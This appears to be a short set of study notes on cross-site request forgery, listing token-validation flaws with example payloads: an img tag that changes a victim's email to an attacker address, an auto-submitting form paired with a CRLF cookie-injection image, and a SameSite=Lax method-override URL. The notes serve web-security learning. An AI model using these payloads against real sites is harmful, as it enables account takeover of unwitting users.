GitHubLinkedInEmail

🟩Cross-site request forgery (CSRF)

Allows an attacker to induce users to perform actions that they do not intend to perform

Deliver a CSRF Exploit

Reflected XSS

Attacker will place the malicious HTML onto a web site that they control

GET method

Example

<img src="https://vulnerable-website.com/email/change?email=attacker@evil-user.net">

Common CSRF vulnerabilities

  • Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

  • Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

  • Some applications do not validate that the token belongs to the same session as the user who is making the request.

  • Some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. Example

<html>
  <body>
    <form action="https://vul-site.com/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;yahoo&#46;com" />
      <input type="hidden" name="csrf" value="jyLqs10iSdsMQz1S5jqucMF55ZyDRyQL" />
      <input type="submit" value="Submit request" />
    </form>
     <img src="http://vul-site.com/?search=test%0d%0aSet-Cookie:%20csrfKey=your-key" onerror="document.forms[0].submit()"> 
  </body>
</html>

  • Some applications do not maintain any server-side record of tokens that have been issued.

  • Cookie SasmeSite=Lax bypass via method override. Change POST method to Get with "_method" parameter. Example /change-email?email=attacker@attack.net&_method=POST

Defenses

PreviousClient SideNextCross-site scripting (XSS)

Last updated